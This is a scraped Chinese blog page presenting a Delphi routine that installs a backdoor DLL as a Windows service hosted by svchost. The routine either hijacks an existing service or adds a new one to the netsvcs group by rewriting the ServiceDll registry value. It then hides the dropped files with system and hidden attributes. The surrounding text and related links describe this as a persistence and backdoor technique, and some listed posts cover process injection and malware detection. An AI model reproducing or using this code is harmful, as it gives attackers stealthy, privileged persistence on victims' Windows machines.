替换和安装新svchost服务

Windows MSIX安装失败的三大根因与系统级修复方案 MSIX是Windows现代应用的核心分发格式,其安装依赖DoSvc服务调度、wuauserv服务宿主协同及微软专用CDN网络路由。当出现0x80073CF3证书校验失败、0x8a15005e钉扎异常或卡在390 KB等典型错误时,本质是系统‘基础代谢能力’受损——包括注册表WubLock锁死、Svchost分组配置缺失、CDN节点智能路由失配。这类问题在LTSC精简版、企业策略封锁或第三方优化工具干预后高频发生,直接影响Codex、Teams新版、Windows Terminal Preview等所有St 阅读详情
 

procedure Install(var DelMe:Boolean );stdcall ;
var
FileName: array[0..255] of Char;
reg:TRegistry;
hSCM,hSCS: Cardinal ;
ss : TServiceStatus;
Args : PChar;
s,s1:string;
begin

FillChar(FileName,SizeOf(FileName),0);
GetModuleFileName(HInstance, FileName, SizeOf(FileName));
s := Config.DIR+config.FileName;
reg := TRegistry.Create;
reg.RootKey := HKEY_LOCAL_MACHINE ;
hSCM := OpenSCManager(nil,Nil,SC_MANAGER_ALL_ACCESS);
if hSCM = 0 then Exit ;
case Config.StartupMode of
RunAsServiceD : //'s':现存服务启动
    begin
      hSCS := OpenService(hSCM ,PChar(string(config.SrvName)), SERVICE_ALL_ACCESS);
      if hSCS <> 0 then
      begin
        ControlService(hSCS ,SERVICE_CONTROL_STOP,ss);
        ChangeServiceConfig(hSCS,
                         SERVICE_WIN32_OWN_PROCESS or SERVICE_INTERACTIVE_PROCESS,
                         SERVICE_AUTO_START,
                         SERVICE_NO_CHANGE,
                         nil,nil,nil,nil,nil,nil,nil);
        if lstrcmpi(FileName,PChar(s)) <> 0 then
        begin
          Setfileattributes(PChar(s),FILE_ATTRIBUTE_NORMAL );
          CopyFile(FileName, PChar(s),False) ; //copy到指定文件夹
        end;
        reg.OpenKey('SYSTEM/CurrentControlSet/Services/'+config.SrvName+'/',True) ;
        SetPrivilege('SeBackupPrivilege');
        RegSaveKey(reg.CurrentKey ,PChar(s+'.uns'),nil);
        SetPrivilege('SeBackupPrivilege',False );
        reg.CloseKey;
        reg.OpenKey('SYSTEM/CurrentControlSet/Services/'+config.SrvName+
          '/Parameters/',True) ;
        reg.WriteData('ServiceDll',s[1],Length(s),REG_EXPAND_SZ );
        StartService(hSCS , 0, Args);
        CloseServiceHandle(hSCS);
      end;
    end;
RunAsService : //新建服务启动
    begin
      InstallService(Config.SrvName,
                     Config.DisplayName,
                     '%SystemRoot%/System32/svchost.exe -k netsvcs',
                     Config.Description); //安装服务
      if lstrcmpi(FileName,PChar(s)) <> 0 then
      begin
        Setfileattributes(PChar(s),FILE_ATTRIBUTE_NORMAL );
        CopyFile(FileName, PChar(s),False) ; //copy到指定文件夹
      end;

      reg.OpenKey('SYSTEM/CurrentControlSet/Services/'+config.SrvName+
        '/Parameters/',True) ;
      reg.WriteData('ServiceDll',s[1],Length(s),REG_EXPAND_SZ );
      reg.CloseKey;
      reg.OpenKey('SOFTWARE/Microsoft/Windows NT/CurrentVersion/Svchost',False );
      SetPrivilege('SeBackupPrivilege');
      RegSaveKey(reg.CurrentKey ,PChar(s+'.uns'),nil);
      SetPrivilege('SeBackupPrivilege',False );
      s1 := reg.ReadString('netsvcs');
      s1 := config.SrvName+#0+s1;
      reg.WriteData('netsvcs',s1[1],Length(s1),REG_MULTI_SZ );
      hSCS := OpenService(hSCM ,PChar(string(config.SrvName)), SERVICE_ALL_ACCESS);
      if hSCS <> 0 then
      begin
        StartService(hSCS , 0, Args);
        CloseServiceHandle(hSCS);
      end;
    end;
end;
CloseServiceHandle(hSCM);
reg.CloseKey ;
reg.Free;
Setfileattributes(PChar(s),FILE_ATTRIBUTE_SYSTEM+FILE_ATTRIBUTE_HIDDEN);
Setfileattributes(PChar(s+'.uns'),FILE_ATTRIBUTE_SYSTEM+
        FILE_ATTRIBUTE_HIDDEN);
DelMe := Config.RMwIns;
end;

替换系统svchost服务自启动 替换Svchost共享服务模式启动,,原理是制作导出函数为ServiceMain的动态链接库文件,并在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\ CurrentVersion\SvcHost\netsvcs中查找系统未安装的服务,创建服务后将 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\XXX\Parameters\ServiceDll键值改为自己的动态链接库文件路径,实现自启动。 立即下载

相关推荐

运动控制中的编码器信号优化:滤波技术实战解析

本文深入解析运动控制系统中编码器信号的滤波技术优化方案。从硬件RC低通滤波器参数计算到软件卡尔曼滤波算法实践,详细介绍了如何有效抑制传导干扰、辐射干扰和机械振动带来的信号噪声。通过半导体设备升级案例,展示了三级混合滤波架构如何将位置检测精度提升至±0.8μm,为工程师提供了一套完整的信号优化方法论。

weixin_29247219的博客 238

映像劫持,windows服务启动的两种形式

1 服务控制管理器(services.exe) 1.1 dll类型的服务 该类型的服务,可以通过svchost.exe通过命令行的方式启动。ZwCreateThreadEx函数是比CreateRemoteThread更底层的函数,可以注入dll到服务程序中。ZwCreateThreadEx函数没有在ntdll.dll中声明,所以需要使用GetProcAddress从ntdll.dll中获取该函数的导出地址。 以上几个服务启动的命令行如下: C:\Windows\System32\svchost.

onlyfunboy的专栏 2349

在Cursor中集成Ollama与Qwen2.5‑Coder:零成本本地AI开发环境搭建

本文详细介绍了如何零成本搭建本地AI开发环境,通过将Cursor IDE与本地运行的Ollama及Qwen2.5-Coder模型集成,实现数据不出本地的智能编程辅助。教程涵盖Ollama安装、模型拉取、ngrok内网穿透配置及Cursor设置等核心步骤,并提供了实战测试与常见问题排错指南,为注重隐私与成本的开发者提供安全高效的解决方案。

weixin_29296241的博客 1074

svchost.exe启动服务原理(如何查看系统服务究竟启动了哪个文件)

引言:        本来是不想研究这些东西的,但是米老大指示要求禁用网上邻居,顺便研究一下。      其实禁用网上邻居,可以简单的从注册表禁用,不过这样太苍白无力了,既然做,就做强悍点,直接从服务入手,彻底kill网上邻居服务(是篡改服务文件,而不是简单的暂停服务),神也无力回天,除非修复系统。      网上邻居核心服务是ComputerBrowser,那么如何找到这个服务启动的文件...

weixin_33935777的博客 551

Unreal从入门到精通之如何绘制用于VR的3DUI交互的手柄射线

之前我写过一篇文章《Unreal5从入门到精通之如何在VR中使用3DUI》,其中讲到使用WidgetComponent和3DUI进行交互。然而,这种方法存在一个问题:为了让射线可视化,我们需要勾选“调试/显示调试”,这样才能在手柄上看到代表其指向的一条红色射线。但最关键的问题是,这个显示调试信息的功能只属于Debug调试模式,也就是说,一旦将项目正式打包发布,这条射线辅助线就没有了。如下图所示:我就觉得Unreal官方真的是有点过分了,这不应该是最基本的功能么?难道我们VR要在Debug模式下发布?

TxNet 1613

大数据架构中的数据治理:元数据管理与数据血缘追踪实践

本文将聚焦大数据架构中数据治理的两大核心支柱——元数据管理与数据血缘追踪元数据管理的目标、类型与实施步骤(从需求分析到工具落地);数据血缘追踪的技术实现(静态解析、动态捕获、混合方案)与应用场景;如何将两者结合,构建完整的数据治理体系,并通过真实案例展示落地效果。元数据管理:定义了业务/技术/操作元数据,讲解了工具选型(如Apache Atlas)、采集(Hook/API)、存储(关系库+图数据库)、应用(数据发现、质量监控);数据血缘追踪。

欢迎来到我的优快云空间!这里聚焦AI大模型应用实战,分享前沿技术、实战案例与开发经验。 868

svchost服务(DLL服务)

svchost服务(DLL服务)

天使也掉毛 9725

timing window file中的S L T指什么意思

我正在「拾陆楼」和朋友们讨论有趣的话题,你⼀起来吧?

m0_61544122的博客 777

svchost.exe启动服务原理

svchost.exe本身只是作为服务宿主,并不实现任何服务功能,需要svchost.exe启动的服务以动态链接库形式实现,在安装这些服务时,把服务的可执行程序指向svchost.exe,启动这些服务时由svchost.exe调用相应服务的动态链接库来启动服务。 双击服务列表的服务,可以看到服务详细信息。 其中,C:\Windows\System32\svchost.exe-k netsvcs这个路径当然就是启动服务的关键信息,其实,后边的这个-k netsvcs参数并不是在告诉sv...

輚至消亡 3552

【思考模型框架】采用双钻模型:发散(桌面研究/用户访谈)→收敛(需求归类/优先级排序),输出需求规格书、追踪矩阵及产品待办清单。

设计思维双钻模型是一种以用户为中心的需求管理方法,通过"发散-收敛"的双循环确保问题定位准确、方案切实可行。第一钻石(探索→定义)聚焦"找对问题",运用用户访谈、田野调查等方法挖掘真实需求;第二钻石(开发→交付)解决"做对方案",通过原型测试、A/B测试验证可行性。该模型强调低保真验证、多团队协作和真实用户测试,避免资源浪费与伪需求开发。典型应用场景包括产品功能优化、用户体验提升等需要精准落地的需求场景。核心价值在于建立从用户痛点到解决方案的可控闭

奶爸的编程之路,也就一周冷个三天 319

分布式训练中All-Reduce、All-Gather、Reduce-Scatter原理

Reduce-Scatter = 先对所有进程的数据做 Reduce(如 sum / mean),再把结果“切分”分发给各进程。(是 Reduce + Scatter 的融合操作。

comli_cn的博客 341

Svchost.exe是病毒的两种情况

1.利用假冒Svchost.exe名称的病毒程序 这种方式运行的病毒并没有直接利用真正的Svchost.exe进程,而是启动了另外一个名称同样是Svchost.exe的病毒进程,由于这个假冒的病毒进程并没有加载系统服务,它和真正的Svchost.exe进程是不同的,只需在命令行窗口中运行一下“Tasklist /svc”,如果看到哪个Svchost.exe进程后面提示的服务信息是“暂缺”,而不

shirley的专栏 2万+

lammps模拟石墨烯吸附水分子(gcmc)

本文分享lammps gcmc吸附的一个案例代码,上下壁面的通道材料为石墨烯,吸附的分子为tip4p水分子。大家好,我是小马老师。

lammps_jiayou的博客 2592

SVCHOST启动技术

SVCHOST启动技术 //Service HANDLE & STATUS used to get service state SERVICE_STATUS_HANDLE hSrv; DWORD dwCurrState; //report service stat to the service control manager int TellSCM( DWORD dwState,

zhihu008的专栏 5679

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

svchost.exe 导致 CPU100%

Svchost.exe (进程名称:Microsoft Service Host Process )到底是做什么用的呢? 首先我们要了解一点那就是Windows系统的中的进程分为:独立进程和共享进程这两种。由于Windows系统中的服务越来越多,为了节约有限的系统资源微软把很多的系统服务做成了共享模式。那Svchost.exe在这中间是担任怎样一个角色呢? Svchost.exe的工作就是作为这些

田园 1441

Probability and Statistics - 4th edition

Probability and Statistics - 4th edition

高手揭密svchost.exe是什么进程

网上有很多关于svchost.exe是什么进程,svchost.exe是什么病毒,svchost.exe占用cpu100%或占用大量内存,svchost.exe有十几个,svchost.exe偷偷连网很象木马的问题,本文提供关于svchost.exe进程的所有信息和用各种专业软件进行查杀的方法。   1)svchost.exe是什么进程   Svchost.exe是微软视窗操作系统里的一个

sky101010ws的专栏 1万+

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

创建SvcHost.exe调用的服务原理与实践

 替换系统服务是做后门的一个好办法,ring3实现,稳定可靠,也具有一定的隐蔽性。这里简单说说怎么样使用自己的服务替换系统服务,并且保证原来真实的系统服务不失效。       替换服务,主要有两种常见的办法,第一是修改注册表中对应服务的可执行文件路径,第二个是直接替换服务文件。第一个办法的缺陷是修改注册表,第二个是需要关闭SFC。而他们共有的缺点是替换了服务之后原来的老服务就失效了,以至没法替

lionzl的专栏 857

Windows 10以上版本系统svchost服务入口函数调试方法

调试Windows 10以上版本系统的svchost服务的入口函数。

Niatruc的博客 805

svchost.exe应用程序错误怎么办,我来告诉你

svchost.exe是微软Windows操作系统中的一个系统程序,其微软官方对它的解释是:svchost.exe是从动态链接库(DLL)中运行的服务的通用主机进程名称。该程序对系统的正常运行起到了重中之重的作用,而且是不能被结束的。   Svchost.exe文件存在于“%system root%\system32”(如C:\Windows\system32)目录下,可以说是Windo

senmmy的专栏 5783

svchost.exe是什么进程,svchost.exe是病毒吗?

  一、svchost.exe是什么   svchost.exe是windows操作系统一个非常重要的进程模块。因此很多病毒都利用svchost.exe来迷惑大家。但是只要我们仔细观察就会知道是不是病毒。   正常的XP操作系统下有五到六个svchost.exe进程,其中SYSTEM用户名下有3个svchost.exe,NETWORK SERVICE用户名下有2个svchost.exe,LOC...

weixin_30535913的博客 336

xdoor启动方式

安装方法不管是DLL还是EXE客户端,最终都是通过RUNDLL32.EXE调用DLL本身内封装的不同的安装函数实现安装。并生成xinstall.dll为安装日志的输出文件。可在生成客户端的时候决定是否输出该记录到该文件. [注意,下面所有的安装命令对大小写敏感。切记!] 1.创建新的服务,调用SVCHOST.EXE加载安装命令:rundll32.exe xxx.dll,

1210

深入解析svchost.exe进程的Shellcode注入技术原理与防御实践

进程注入是Windows系统安全中一项经典的对抗技术,其核心原理在于通过操作系统提供的API,将恶意代码写入并运行于目标进程的内存空间,从而实现权限提升或规避检测。这项技术的价值在于它揭示了合法系统进程可能被滥用的风险,是理解“无文件攻击”和“白利用”等高级威胁的基础。在实际应用场景中,攻击者常将高权限、高信任的系统进程(如svchost.exe)作为目标,通过创建挂起进程、分配内存、写入Shellcode并修改内存属性为可执行等一系列操作,最终借助CreateRemoteThread或QueueUserA

weixin_30254435的博客 371

高手揭秘svchost.exe进程

  网上有很多关于svchost.exe是什么进程,svchost.exe是什么病毒,svchost.exe占用cpu100%或占用大量内存,svchost.exe有十几个,svchost.exe偷偷连网很象木马的问题,本文提供关于svchost.exe进程的所有信息和用各种专业软件进行查杀的方法。  1)svchost.exe是什么进程  Svchost.exe是微软视窗操作系统里的一个

lubiaopan的专栏 2597

svchost.exe是什么进程

网上有很多关于svchost.exe是什么进程,svchost.exe是什么病毒,svchost.exe占用cpu100%或占用大量内存,svchost.exe有十几个,svchost.exe偷偷连网很象***的问题,本文提供关于svchost.exe进程的所有信息和用各种专业软件进行查杀的方法。   1)svchost.exe是什么进程  Svchost.exe是微软视窗...

weixin_33688840的博客 563

svchost.exe占用cpu100%

网上有很多关于svchost.exe是什么进程,svchost.exe是什么病毒,svchost.exe占用cpu100%或占用大量内存,svchost.exe有十几个,svchost.exe偷偷连网很象木马的问题,本文提供关于svchost.exe进程的所有信息和用各种专业软件进行查杀的方法。   1)svchost.exe是什么进程   Svchost.exe是微软视窗操作系统里的一个

Carter的菜园子 1892
上一篇: MS06-040 Remote Code Execution Proof of Concept
下一篇: CreateProcess插入DLL的方法
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值